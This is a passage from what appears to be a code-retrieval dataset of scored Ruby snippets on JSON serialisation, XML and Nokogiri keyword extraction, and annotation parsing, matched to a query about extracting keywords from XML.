foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c064532a3551ca5ca9fc187f6341096e", "score": "0.48599187", "text": "def create_children_from_sdd_json(meta, h)\n # Go through the children\n self_model = meta[:model_name].camelcase(:upper).constantize\n kids = self_model.children_models\n unless kids.nil? || kids.empty?\n kids.each do |k|\n # check if the kids have a json object at this level\n if h[k[:xml_name]]\n logger.debug \"XML child is #{k[:xml_name]}\"\n logger.debug \"Model name is #{k[:model_name]}\"\n if h[k[:xml_name]].is_a? Array\n logger.debug \"#{k[:xml_name]} is an array, will add all the objects\"\n h[k[:xml_name]].each do |h_instance|\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h_instance)\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n elsif h[k[:xml_name]].is_a? Hash\n logger.debug \"#{k[:xml_name]} is a single object, will add only one\"\n klass = k[:model_name].camelcase(:upper).constantize\n if klass.respond_to? :from_sdd_json\n model = klass.from_sdd_json(k, h[k[:xml_name]])\n\n # Assign the foreign key on the object\n model[\"#{meta[:model_name]}_id\"] = id\n model.save!\n else\n logger.warn \"Class #{klass} does not have instance method 'from_sdd_json'\"\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "d60819238882f7e7a917f976ca257378", "score": "0.48554856", "text": "def as_json(id: '', index: {})\n return index[object_id].as_json(id: id, index: {}) if index[object_id]\n\n id = Json::URI.new(id)\n index[object_id] = Jimmy.ref(id)\n\n pairs = map do |key, value|\n if value.respond_to? :as_json\n value = value.as_json(id: id / key, index: index)\n end\n [key, value]\n end\n\n export_pairs pairs\n end", "title": "" }, { "docid": "bb3cc799108a2e97816ba98aac084e72", "score": "0.48490703", "text": "def matrixjson(p)\n json_obj = {}\n [nil, 1, 0].each do |lr|\n if lr.nil?\n lr_t = 'both'\n elsif lr == 1\n lr_t = 'londoner'\n else\n lr_t = 'elsewhere'\n end\n \n [nil, \"young\", \"mature\", \"older\", \"elderly\"].each do |ag|\n if ag.nil?\n ag_t = 'all'\n else\n ag_t = ag\n end\n\n [nil, 1, 0].each do |g|\n if g.nil?\n g_t = 'both'\n elsif g == 1\n g_t = 'male'\n else\n g_t = 'female'\n end\n json_obj[\"#{g_t}_#{ag_t}_#{lr_t}\"] = p.filter_gender(g).filter_agegroup(ag).filter_londoner(lr).full_linkage_matrix\n end\n end\n end\n return json_obj\nend", "title": "" }, { "docid": "fc0125629fabc94eb47430ba0bed0195", "score": "0.4848711", "text": "def comp\n @evento=Evento.where(:id_creator => params[:id_creator].to_i)\n @eventos_nous=Array.new\n @evento.each do |e|\n @eventos_nous << Evento.find_by_id(e.id).formatted_data.as_json()\n end\n render json: @eventos_nous\n end", "title": "" }, { "docid": "d0e9205c468497d536f9871e484c1278", "score": "0.48439094", "text": "def taxonomies_json\n @taxons_json = []\n query_string = \"%#{params[:term]}%\"\n @taxons = Spree::Taxonomy.categories.taxons#.where(\"name like ? OR id like ?\", query_string, query_string)\n @taxons.collect{ |taxon|\n if (taxon.parent.present? && taxon.parent.parent.present? && taxon.parent.parent.parent.present?)\n name = (taxon.parent.parent.name+\" -> \"+taxon.parent.name+\" -> \"+taxon.name)\n @taxons_json << {'label' => name, 'id' => taxon.id} if name.downcase.include? params[:term].downcase\n end\n }\n render :json=>@taxons_json.to_json\n end", "title": "" }, { "docid": "8f9c3dc16e67e9e22bb879cdfd7a05e1", "score": "0.48179865", "text": "def to_nifty_json\n self.recursive_delete_if_nil.jsonify.to_json\n end", "title": "" }, { "docid": "fb6cb29a9cd8903515ae29a11b66f8ab", "score": "0.48142093", "text": "def dilemmas_with_reasons_json(dilemmas)\n dilemmas.to_json(include: {reasons: {only: [:id, :text, :type]}})\n end", "title": "" }, { "docid": "b26efc650c498aad661f2d7eb3e978c2", "score": "0.48048496", "text": "def to_son(options={}, &block)\n duration = options[:duration] || SONIA_DURATION\n spu = options[:speedup] || SONIA_SPEEDUP\n nodeRGB = nil\n nodecolornames = options[:node_colors] || \n ['White','LightGray','DarkGray','LightGray','White']\n if nodecolornames.first.kind_of?(Array)\n nodeRGB = nodecolornames\n nodecolornames = nil\n end\n nodelabelcolors = options[:node_LabelColor]\n nodebordercolors = options[:node_BorderColor]\n nodeborderwidths = options[:node_BorderWidth]\n nodesizes = options[:node_Size]\n nodeshapes = options[:node_Shape]\n nodeURLs = options[:node_IconURL]\n\n son = \"// SONIA Graph File\\n\"\n son << \"// Created by DotNet/mediawikiparser\\n\"\n lproc = block || @lproc\n # First the links to get min and max time.\n mintime = 1.0/0 # +Infinity\n maxtime = -1.0/0 # -Infinity\n sonlinks = \"FromId\\tToId\\tStartTime\\tEndTime\\n\"\n @links.each_value do |l|\n l.timeline.each do |t| \n t = t.to_f/spu\n sonlinks << \"#{nid(l.src)}\\t#{nid(l.dest)}\\t#{t}\\t#{t}\\n\"\n mintime = t if t<mintime\n maxtime = t if t>maxtime\n end\n end\n maxtime += (duration.to_f/spu)\n # now the nodes\n\n @nodes.each do |n|\n next unless n.respond_to?(:time_of_first_event)\n # We do not use time_of_creation here as this is not reliable.\n # E.g. the system user has a default creation time.\n # We could change this but it's not worth the efford.\n if t = n.time_of_first_event\n t = t.to_f/spu\n mintime = t if t<mintime\n end\n end\n son << \"AlphaId\\tLabel\"\n son << \"\\tColorName\" if nodecolornames\n son << \"\\tRedRGB\\tGreenRGB\\tBlueRGB\" if nodeRGB\n son << \"\\tLabelColor\" if nodelabelcolors\n son << \"\\tBorderColor\" if nodebordercolors\n son << \"\\tBorderWidth\" if nodeborderwidths\n son << \"\\tNodeSize\" if nodesizes\n son << \"\\tNodeShape\" if nodeshapes\n son << \"\\tIconURL\" if nodeURLs\n son << \"\\tStartTime\\tEndTime\\n\"\n tt = [mintime, nil, nil, nil, nil, maxtime]\n @nodes.each do |n|\n tt[1] = tt[2] = tt[3] = tt[4] = nil\n tt[1] = n.time_of_creation.to_f/spu if n.respond_to?(:time_of_creation)\n tt[2] = n.time_of_first_event.to_f/spu if n.respond_to?(:time_of_first_event)\n tt[3] = n.time_of_last_event.to_f/spu if n.respond_to?(:time_of_last_event)\n tt[4] = n.time_of_deletion.to_f/spu if n.respond_to?(:time_of_deletion)\n## mintime -> creationtime -> first action -> last action -> deletion -> maxtime...\n i=0\n tt.inject do |ta, tb|\n if tb\n if (ta<tb)\n son << \"#{nid(n)}\\t#{lproc.call(n)}\"\n son << \"\\t#{nodecolornames[i]}\" if nodecolornames\n son << \"\\t#{nodeRGB[i][0]}\\t#{nodeRGB[i][1]}\\t#{nodeRGB[i][1]}\" if nodeRGB\n son << \"\\t#{nodelabelcolors[i]}\" if nodelabelcolors\n son << \"\\t#{nodebordercolors[i]}\" if nodebordercolors\n son << \"\\t#{nodeborderwidths[i]}\" if nodeborderwidths\n son << \"\\t#{nodesizes[i]}\" if nodesizes\n son << \"\\t#{nodeshapes[i]}\" if nodeshapes\n son << \"\\t#{nodeURLs[i]}\" if nodeURLs\n son << \"\\t#{ta}\\t#{tb}\\n\"\n end\n i += 1\n tb\n else\n i += 1\n ta\n end \n end\n# son << \"#{nid(n)}\\t#{lproc.call(n)}\\t#{mintime}\\t#{maxtime}\\n\"\n end\n son << sonlinks # add the links\n son\n end", "title": "" }, { "docid": "df85ef95592e0f52ecee3258c458078a", "score": "0.48031595", "text": "def tojson\n\t\tend", "title": "" }, { "docid": "23090c76e15c6b64f3fc72a659c5f0a2", "score": "0.4802875", "text": "def pubannos(data)\n \n result = JSON.parse(data)\n \n if result.has_key? 'Error'\n raise BioInterchange::Exceptions::InputFormatError, 'Error parsing the JSON input file: #{result[\"Error\"]}'\n end\n \n \n text = result['text']\n #doc_uri = \"http://pubannotation.dbcls.jp/pmdocs/\" + result['pmid'].to_s\n doc_uri = result['docurl']\n \n doc = Document.new(doc_uri)\n docContent = Content.new(0, text.length, Content::DOCUMENT, @process)\n docContent.setContext(doc)\n doc.add(docContent)\n \n #so our document requires content of type document or abstract\n #should it hold the content string?\n\n #hash to remember annotation in case they are needed for building upon based on ids later\n contents = {}\n\n if result['catanns']\n result['catanns'].each do |annot| \n start_offset = 0\n end_offset = 0\n if annot['span']\n start_offset = annot['span']['begin']\n end_offset = annot['span']['end']\n elsif annot['begin'] and annot['end']\n start_offset = annot['begin']\n end_offset = annot['end']\n end\n length = end_offset - start_offset\n\n category = annot['category']\n id = annot['id']\n \n entity = text.slice(start_offset..end_offset)\n \n #phrase = type for NE\n con = Content.new(start_offset, length, Content::PHRASE, @process)\n con.setContext(doc)\n doc.add(con)\n\n contents[id] = con \n \n #set process.date = updated_time?\n end\n end\n \n if result['insanns']\n result['insanns'].each do |annot|\n \n #unsure what to do about this (con1), 'E1' is the ID of something not created yet.\n #it is perhaps a case of making a new content, but with what params...?\n #need to conform what this is refering to with JDK\n con1 = nil \n con2 = contents[annot['object']]\n \n #get annotation type\n type = ContentConnection::UNSPECIFIED\n case annot['type']\n when 'subClassOf'\n type = ContentConnection::SUBCLASS\n end\n connection = ContentConnection.new(con1, con2, type, @process)\n connection.setContext(doc)\n doc.add(connection)\n\n contents[annot['id']] = connection\n\n end\n end\n \n if result['relanns']\n result['relanns'].each do |annot|\n con1 = contents[annot['subject']] \n con2 = contents[annot['object']]\n \n #get annotation type\n type = ContentConnection::UNSPECIFIED\n case annot['type']\n when 'equivalentTo'\n type = ContentConnection::EQUIVALENCE\n when 'themeOf'\n type = ContentConnection::THEME\n end\n connection = ContentConnection.new(con1, con2, type, @process)\n connection.setContext(doc)\n doc.add(connection)\n\n contents[annot['id']] = connection\n\n end\n end\n \n if result['modanns']\n result['modanns'].each do |annot|\n \n #in this case, it is a modification of an already existing content object (speculation/negation). \n con = contents[annot['object']]\n \n #get annotation type\n type = ContentConnection::UNSPECIFIED\n case annot['type']\n when 'Speculation'\n type = ContentConnection::SPECULATION\n when 'Negation'\n type = ContentConnection::NEGATION\n end\n connection = ContentConnection.new(con, nil, type, @process)\n connection.setContext(doc)\n doc.add(connection)\n\n contents[annot['id']] = connection\n\n end\n end\n \n doc\n end", "title": "" } ]
98f8cfc412685c840a867048bf128ec8
if xml size is decent, this can replaced with Nokogiri::XML(file).xpath('//keywords//keyword').map(&:inner_text) This is performance compromise over SAX parser
[ { "docid": "4b45cc15192d517340423688fb8abd85", "score": "0.5650837", "text": "def import(file_path)\n File.open(file_path) do |file|\n Nokogiri::XML::Reader(file).each do |node|\n if node.name == 'keyword' && node.node_type == Nokogiri::XML::Reader::TYPE_ELEMENT\n TopHits::Keyword::create!(name: node.inner_xml)\n end\n end\n end\n return true\n rescue Errno::ENOENT\n raise TopHits::FilePathError.new($!)\n rescue Nokogiri::SyntaxError\n raise TopHits::MalformedFile.new($!)\n end", "title": "" } ]
[ { "docid": "8971ca8aacbe4d69d8aa349b8349a911", "score": "0.72612435", "text": "def keywords\n xml.css('keyword').map{|c| Allorails::Keyword.new(c)}\n end", "title": "" }, { "docid": "791698ada49602dab581ced814795f3c", "score": "0.6426173", "text": "def get_keywords( descriptions )\n keywords = []\n descriptions.each do |description|\n page_text = Nokogiri::HTML(description).text\n keywords.concat( page_text.split(/\\W+/) )\n end\n\n return keywords\nend", "title": "" }, { "docid": "84b942669b79e0ce8d1d716ee799e727", "score": "0.62790304", "text": "def extract_keywords\n self.keywords = Alice::Parser::NgramFactory.filtered_grams_from(self.text).flatten.uniq\n end", "title": "" }, { "docid": "fe69155957becb77de790f8e9cb907cf", "score": "0.6224574", "text": "def extractFullTextFromAlto( text )\n # initialize XML document for parsing\n #doc = REXML::Document.new( text )\n doc = Nokogiri::XML(text)\n\n # extract all keywords from ALTO attributes\n keywords = String.new\n# doc.elements.each( '//String/@CONTENT' ) do |element|\n doc.xpath( '//String/@CONTENT' ).each do |element|\n keywords << element.text\n end\n return keywords\n end", "title": "" }, { "docid": "bf3c4f3af25ebb49ec631a2ecbb8730e", "score": "0.5965608", "text": "def keywords\n read_attribute(:keywords).to_a.compact.map(&:downcase)\n end", "title": "" }, { "docid": "11c185b450730afb368b8ca575818868", "score": "0.5936406", "text": "def kw_element_txt(element)\r\n REXML::XPath.match(\r\n REXML::Document.new( REXML::XPath.first(self.xml, \"keywords\").text ),\r\n \"//#{element}\").first.text \r\n end", "title": "" }, { "docid": "54c497b85af009aeb514f62140984a8c", "score": "0.59103125", "text": "def extract_all_words(html)\n doc = Nokogiri::HTML(html)\n keywords = []\n doc.css(\"meta[name='keywords']\").each do |node|\n keywords += node['content'].gsub(/\\s+/, \" \").gsub(/[^a-zA-Z\\- ',]/, '').squeeze(\" \").split(\",\")\n end\n text = String.new\n doc.css(\"meta[name='description']\").each do |node|\n text += node['content']\n end\n \n %w(script style link meta).each do |tag|\n doc.css(tag).each { |node| node.remove }\n end\n\n w = []\n doc.traverse do |node|\n if node.text? then\n w << node.content + \" \"\n end\n end\n text += w.join.gsub(/\\s+/, \" \").gsub(/[^a-zA-Z\\- ']/, '').squeeze(\" \")\n words = (text.downcase.split - STOPWORDS)\n \n final = (keywords + words)\n final.map do |w|\n w.stem\n end\n end", "title": "" }, { "docid": "b25f870b7da373138bc31089cbce0f41", "score": "0.5909232", "text": "def keywords\n keywords = []\n metadata[dataset_uri][dcat.keyword.to_s].each do |k|\n keywords << k\n end\n rescue\n []\n end", "title": "" }, { "docid": "5f5dff6da538cd290553d9d7af07e72e", "score": "0.5903038", "text": "def keywords\n my_nodes_tagged(:querykeywordexpr)\n end", "title": "" }, { "docid": "5f5dff6da538cd290553d9d7af07e72e", "score": "0.5903038", "text": "def keywords\n my_nodes_tagged(:querykeywordexpr)\n end", "title": "" }, { "docid": "63c245e3e7608474d4e192c04d411d94", "score": "0.5895572", "text": "def keywords\n plot_keywords.css(\"a[href^='/keyword/']\").map { |keyword| keyword.text.strip } rescue []\n end", "title": "" }, { "docid": "4317d37b843b7d6d0294dc5dc3e6a494", "score": "0.58208615", "text": "def keywords\n return nil unless @doc.keywords\n \n keywords = @doc.keywords[0..(NUM_KEYWORDS-1)].join(\", \")\n mark(keywords)\n end", "title": "" }, { "docid": "87338a93069c2d252cd2a5c0fa2ad8e5", "score": "0.581022", "text": "def xml_string(keyword)\n xml_string = <<-EOS\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"https://adwords.google.com/api/adwords/o/v201008\" xmlns:ns2=\"https://adwords.google.com/api/adwords/cm/v201008\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n <soapenv:Header>\n <ns1:RequestHeader>\n <ns2:authToken>#{@credential.auth_token}</ns2:authToken>\n <ns2:developerToken>#{@credential.developer_token}</ns2:developerToken>\n <ns2:userAgent>#{@credential.user_agent}</ns2:userAgent>\n </ns1:RequestHeader>\n </soapenv:Header>\n <soapenv:Body>\n <ns1:get>\n <ns1:selector>\n <ns1:searchParameters xsi:type=\"ns1:RelatedToKeywordSearchParameter\">\n <ns1:keywords>\n <ns2:text>#{keyword.phrase}</ns2:text>\n <ns2:matchType>EXACT</ns2:matchType>\n </ns1:keywords>\n </ns1:searchParameters>\n <ns1:searchParameters xsi:type=\"ns1:IdeaTextMatchesSearchParameter\">\n <ns1:included>#{keyword.phrase}</ns1:included>\n </ns1:searchParameters>\n <ns1:searchParameters xsi:type=\"ns1:KeywordMatchTypeSearchParameter\">\n <ns1:keywordMatchTypes>BROAD</ns1:keywordMatchTypes>\n </ns1:searchParameters>\n <ns1:searchParameters xsi:type=\"ns1:LanguageTargetSearchParameter\">\n <ns1:languageTargets xsi:type=\"ns2:LanguageTarget\">\n <ns2:languageCode>en</ns2:languageCode>\n </ns1:languageTargets>\n </ns1:searchParameters>\n <ns1:ideaType>KEYWORD</ns1:ideaType>\n <ns1:requestType>IDEAS</ns1:requestType>\n <ns1:requestedAttributeTypes>KEYWORD</ns1:requestedAttributeTypes>\n <ns1:requestedAttributeTypes>GLOBAL_MONTHLY_SEARCHES</ns1:requestedAttributeTypes>\n <ns1:paging>\n <ns2:startIndex>0</ns2:startIndex>\n <ns2:numberResults>#{@results_limit}</ns2:numberResults>\n </ns1:paging>\n </ns1:selector>\n </ns1:get>\n </soapenv:Body>\n </soapenv:Envelope>\n EOS\n # delete leading whitespace (spaces, tabs) from each line (and delete newlines, too)\n xml_string.gsub(/^[ \\t]+/,'').gsub(/\\n/,'')\n end", "title": "" }, { "docid": "e7ac5b3cb1857bf06fc771569fdc6bbf", "score": "0.57484406", "text": "def getTags node\n array = [] #array to hold working collection\n \n node.children.each do |child|\n array << Hash[child.name,child.inner_text] unless child.name == 'text' #text \n end\n \n return array\n end", "title": "" }, { "docid": "4b668e1e0a11a5e32a34146136d046aa", "score": "0.5718913", "text": "def keywords\n\t\t\treturn @data['keywords']\n\t\tend", "title": "" }, { "docid": "ade37b4a5b9b1cc8c39c2afb214bd241", "score": "0.56574583", "text": "def get_keywords(site)\n response = Net::HTTP.get_response(site, \"/\")\n Hpricot(response.body).\n search(\"meta[@name='keywords']\")[0]. #Select meta keywords element\n attributes[\"content\"]. #Select its content\n split(\",\"). #Keywords are coma separated\n collect{ |k| k.strip.downcase } #Remove start and end white spaces\nend", "title": "" }, { "docid": "7b4fa72a6b7d56f190fc3ab4a1330872", "score": "0.5628649", "text": "def keywords\n response = request :keywords\n keywords = Hash.new\n response[\"labels\"].each do |label|\n keywords[label[\"keyword\"]] = label[\"content\"]\n end\n keywords\n end", "title": "" }, { "docid": "2cd4badcfa3bc28aa2b1b82109511c67", "score": "0.5538838", "text": "def text_from_content_xml(content_file)\n listener = TextListener.new\n File.open(content_file) do |io|\n REXML::Document.parse_stream(io, listener)\n end\n listener.get_all_text\nend", "title": "" }, { "docid": "2c8cf462953ca4d7e7bca40d705d04f8", "score": "0.5519807", "text": "def find_keywords(feedEntryUrl)\n\tputs \"extracting keywords\"\n\tdoc = Nokogiri::HTML(open(feedEntryUrl))\n\tdoc.css(\"p\").each do |para|\n\t\t# regex on para if true extract and save\n\t\t# for now just save the p tags\n\t\tPost.create!(:title => \"test\",:content => \"test\",:contentSummary => para.text,:score => 1, :image => \"radio.jpg\",:link => \"www.google.com\")\n\tend\n\nend", "title": "" }, { "docid": "11bad8a97a8333e33de61acb0758e2b3", "score": "0.5497039", "text": "def get_text_nodes_map\r\n @xml_doc.xpath(\"/TextDatabase/Texts/TextGroup/Text\").inject({}) do |nodes, text_node|\r\n nodes[text_node[\"Id\"]] = text_node\r\n nodes\r\n end\r\n end", "title": "" }, { "docid": "91ea3674ac6ca43f7eed301e4e9ac879", "score": "0.5477984", "text": "def get(keyword)\n # Create URL to Yandex.Xml\n xml_url = create_url(keyword)\n # Get data XML\n xml = Net::HTTP.get_response(URI.parse(xml_url)).body\n # Convert XML to Hash\n converter = Nori.new(:convert_dashes_to_underscores => true)\n hash = converter.parse(xml)\n # Convert Hash to OpenStruct\n data = JSON.parse(hash.to_json, object_class: OpenStruct)\n # Create short route to data\n groups = data.yandexsearch.response.results.grouping.group\n\n result = {}\n\n result[:meta] = {\n keyword: data.yandexsearch.request.query,\n timestamp: Time.now\n }\n\n data_array = []\n\n groups.each_with_index do |i, index|\n result_hash = {\n position: index + 1,\n url: i.doc.url,\n domain: i.doc.domain,\n title: i.doc.title,\n modtime: i.doc.modtime,\n size: i.doc.size,\n charset: i.doc.charset,\n # passage: i.doc.passages.passage, # TODO: not work\n passages_type: i.doc.properties._PassagesType,\n mime_type: i.doc.mime_type,\n saved_copy_url: i.doc.saved_copy_url,\n headline: i.doc.headline,\n turbo_cgi_url: i.doc.properties.TurboCgiUrl,\n turbo_fallback: i.doc.properties.TurboFallback,\n turbo_link: i.doc.properties.TurboLink\n }\n\n data_array << result_hash\n end\n\n result[:data] = data_array\n result\n end", "title": "" }, { "docid": "223efd321e4c0186966aa6dd660e45c0", "score": "0.54206604", "text": "def get_keywords\n titles.map do |title|\n title.split(\" \")\n end\n end", "title": "" }, { "docid": "9206f34fbd2e0ad18cb168cbcc668dff", "score": "0.54204553", "text": "def keywords\n get_keywords.flatten.uniq\n end", "title": "" }, { "docid": "ff85ff8c44e2a453ae2c587f1b18aab5", "score": "0.54143125", "text": "def read_keywords\n messages = (list(:cur) + list(:new)).inject({}) { |m, msg| m[msg.unique_name] = msg ; m }\n t = Time.now.to_i / 300\n keywords = []\n state = :head\n # process :list\n list_file = File.join(keyword_dir, ':list')\n File.open(list_file).each_line do |line|\n line.strip!\n if state == :head\n if line.empty?\n state = :messages\n next\n end\n keywords << line\n else\n key, ids = line.split(':')\n if msg = messages[key]\n msg.set_keywords(ids.split(/\\s/).map {|id| keywords[id.to_i - 1] })\n end\n end\n end if File.exist?(list_file)\n # collect keyword files\n keyword_files = (Dir.entries(keyword_dir) - %w(. .. :list)).inject({}) do |keyword_files, file|\n if file =~ /^\\.(\\d+)\\.(.*)$/\n n = $1\n key = $2\n else\n n = t + 1\n key = file\n FileUtils.mv(File.join(keyword_dir, file), File.join(keyword_dir, \".#{n}.#{key}\"))\n end\n if msg = messages[key]\n (keyword_files[key] ||= []) << [n, key]\n else # message doesn't exist\n fname = File.join(keyword_dir, file)\n if File.stat(fname).ctime < (Time.now - (15 * 60))\n File.unlink(fname)\n end\n end\n next(keyword_files)\n end\n # process keyword files\n keyword_files.each_pair do |key, files|\n files.sort! { |a, b| a[0] <=> b[0] }\n files[0..-2].each { |f| File.unlink(File.join(keyword_dir, \".#{f.join('.')}\")) } if files.last[0] < t\n msg = messages[key]\n file = (File.exist?(File.join(keyword_dir, files.last[1])) ? files.last[1] : \".#{files.last.join('.')}\")\n current_keywords = File.read(File.join(keyword_dir, file)).split(/\\s+/)\n msg.set_keywords(current_keywords)\n if (add = (current_keywords - keywords)).any?\n keywords += add\n end\n end\n # rebuild :list\n @keywords = {}\n tmp_file = File.join(path, 'tmp', ':list')\n File.open(tmp_file, 'w') { |f|\n f.write(keywords.join(\"\\n\")+\"\\n\\n\")\n messages.each_pair do |key, msg|\n next unless msg.keywords\n f.puts([key, msg.keywords.map{|kw| keywords.index(kw) + 1 }.sort.join(' ')].join(':'))\n @keywords[key] = msg.keywords\n end\n }\n FileUtils.mv(tmp_file, list_file)\n end", "title": "" }, { "docid": "2dafe9fa0f53eff6c043e203b44011be", "score": "0.5394862", "text": "def get_text_ids\r\n @xml_doc.xpath(\"/TextDatabase/Texts/TextGroup/Text\").map{ |text_node| text_node[\"Id\"] }\r\n end", "title": "" }, { "docid": "1f45d55466343ecd6f46303404b47af8", "score": "0.5371041", "text": "def extract_keywords(elements, keywords)\n result = {}\n \n elements.each do |node|\n keywords.each do |keyword|\n if node =~ /#{keyword}/i # node.downcase.include?(keyword.downcase)\n if result[keyword]\n result[keyword] += 1\n else\n result[keyword] = 1\n end\n end\n end\n end\n\n result\nend", "title": "" }, { "docid": "d66299706f60288df73d8a6f1b59c7b7", "score": "0.53663653", "text": "def get_keywords(input_text, relevance)\n\tkeywords = Keyword.extract(input_text)\n\trelevant_words = keywords.select {|w| w[\"text\"] if w[\"relevance\"].to_f > relevance }\n\treturn relevant_words.map{|w| w[\"text\"]}\nend", "title": "" }, { "docid": "3def5b1c726cb5477a743b45c0f9b583", "score": "0.53632736", "text": "def entries\n xpath './alias', './bookmark', './folder', './separator'\n end", "title": "" }, { "docid": "a6fd24f181e14cdf148c7bb0d0c3d211", "score": "0.53626096", "text": "def build_keyword_pages\n keyword_pages = {}\n sitemap.resources.each do |resource|\n keywords = resource.metadata[:page][\"keywords\"]\n next if keywords.blank?\n keywords.each do |keyword|\n (keyword_pages[keyword] ||= []) << resource\n end\n end\n keyword_pages\nend", "title": "" }, { "docid": "6baee8b54cc04b1d43b6b42ba87474c6", "score": "0.5327012", "text": "def keywords(page_keywords)\n content_for(:keywords) do\n \"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"\n end\n end", "title": "" }, { "docid": "6baee8b54cc04b1d43b6b42ba87474c6", "score": "0.5327012", "text": "def keywords(page_keywords)\n content_for(:keywords) do\n \"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"\n end\n end", "title": "" }, { "docid": "88a07052ecac0e4cde52518376d4fcdb", "score": "0.5318308", "text": "def extract_urls(node_name)\n return document.to_s.each_line.map(&:strip) if plain_document?\n\n urls = []\n document.root.elements.each(\"#{node_name}/loc\") do |element|\n urls << element.text\n end\n urls\n end", "title": "" }, { "docid": "2a8dfd9e87a32eed488badb5cdcb2820", "score": "0.53093964", "text": "def extract_items_xml_android(xml_content)\n xml = Nokogiri::XML.parse(xml_content)\n strings = xml.xpath('//string')\n items = Hash.new\n strings.each do |string|\n name = string.attributes['name'].value\n value = string.children.text.gsub(/\\\\'/) {|s| \"'\"}\n items[name] = value\n end\n items\n end", "title": "" }, { "docid": "e24e446371c1a8b487a0332a5ba0844c", "score": "0.53066665", "text": "def xpath_get_all_text(doc)\n return doc.content\n end", "title": "" }, { "docid": "421e357f9890c787661c7d1d7f100778", "score": "0.5302949", "text": "def keywords\n @keywords_accessed = true\n @keywords\n end", "title": "" }, { "docid": "80b2f24c60278db8a6a1f125d70eb1ca", "score": "0.53021", "text": "def keywords(page_keywords) \n content_for(:keywords){\"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"} \n end", "title": "" }, { "docid": "faf58f59a761ae12dfc64328fc939212", "score": "0.5267446", "text": "def fetch_tags(url, tags)\n doc = Nokogiri::HTML(open(url))\n aux = []\n doc.xpath(tags).each do |f|\n aux << f.text\n end\n return aux\n end", "title": "" }, { "docid": "09c4f906f89e6450319b7b8de7e4fd7b", "score": "0.5258296", "text": "def xpath_get_all_text(doc)\n doc.text\n end", "title": "" }, { "docid": "cd9609710e7508e5fdd1fd31954814f0", "score": "0.5247999", "text": "def tag_keywords locale = :en\n tags.map do |t|\n t.try(\"keywords_#{locale}\")\n end.reject(&:blank?).uniq.join(', ')\n end", "title": "" }, { "docid": "9020bba9eb9ea333b60da15b6317ad4b", "score": "0.52405685", "text": "def parse_xml(file)\n\t\tdata = []\n\t\t# Break open XML and go through nodes\n\t\tbegin\n\t\t\tfile = file_sanitizer(file)\n\t\t\tdata = XmlSimple.xml_in(file, {'ForceArray' => false })\n\t\trescue Exception => e\n\t\t\traise e\n\t\tend\n\t\tdata\n\tend", "title": "" }, { "docid": "d6d881c60a8d024494b39ddc43744253", "score": "0.5231196", "text": "def find_tags(url)\n\t\t\tputs \"Search and return tags within the url payload: #{url}\" if @verbose\n\t\t\ttag_list = []\n doc = open_page(url)\n doc.text.each_line do |line|\n my_line = line.downcase\n @tag_signatures.keys.map do |tag|\n tag_list.push(tag) if my_line.include?(tag)\n end\n end\n return tag_list\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return []\n end", "title": "" }, { "docid": "8b40e5b783a29c81ee6de7f92f84c18c", "score": "0.52234757", "text": "def get_results()\n restriction_nodes = []\n result_nodes = []\n if !(@inputs.nil? || @inputs.empty? || @inputs.first.empty?)\n input_set = @inputs.first\n restriction_nodes= input_set.nodes\n result_nodes = input_set.breadth_first_search(true){|node| node.item.text.downcase.include?(@keyword_phrase.to_s.downcase)} \n end\n \n if !@inplace\n results = @server.match_all(parse_keyword_phrase(), restriction_nodes) \n result_nodes = results.map{|item| Xplain::Node.new(item: item)}\n end\n \n result_nodes\n \n end", "title": "" }, { "docid": "d26144d35fe3f984e8b4b87688e6e866", "score": "0.52144265", "text": "def read_xml(filename=$g_language_strings)\n filename = $g_lang_strings_file\n all_strings_hash={}\n\n config = XmlSimple.xml_in(filename, {'KeyAttr' => 'resources/String'})\n config['string'].each do |var|\n all_strings_hash[var[\"name\"]]=var[\"content\"]\n end\n\n return all_strings_hash\n end", "title": "" }, { "docid": "1f615e1bc915726e7d221afa9385a4a8", "score": "0.5203773", "text": "def keywords\n [self.keyword]\n end", "title": "" }, { "docid": "366333f96f20a339c1fd2f045a273bf4", "score": "0.51858085", "text": "def get_text_entries\r\n texts = []\r\n @xml_doc.xpath(\"/TextDatabase/Texts/TextGroup/Text\").each do |text_node|\r\n text = TextEntry.new(text_node[\"Id\"], text_node[\"Alignment\"])\r\n text_node.search(\"Translation\").each do |translation|\r\n language = translation[\"Language\"]\r\n alignment = translation[\"Alignment\"]\r\n text.set_alignment(language, alignment) unless alignment.nil?\r\n text.set_translation(language, translation.text)\r\n end\r\n texts << text\r\n end\r\n texts\r\n end", "title": "" }, { "docid": "c2c7dcd9539019c6c2f08c62d7717a13", "score": "0.5181232", "text": "def extract\n # create hash of words with number of their instances in tokens excluding stopwords\n words_hash = Hash.new(0)\n @tokens.each { |w| \n unless w.empty? or stop_words_for(@language)[w]\n words_hash[w] += 1 \n end\n }\n\n idfs_hash = get_idfs(words_hash.keys)\n\n # calculate tf-idf for each word into keywords array\n keywords = []\n max_num = words_hash.values.max.to_f\n words_hash.each do |word, num|\n tf = num / max_num\n idf = idfs_hash[word]\n keywords << [word, (tf * idf).round(5), idf.round(5)]\n end\n\n # return keywords sorted by rank descending\n keywords.sort_by {|word, rank, idf| 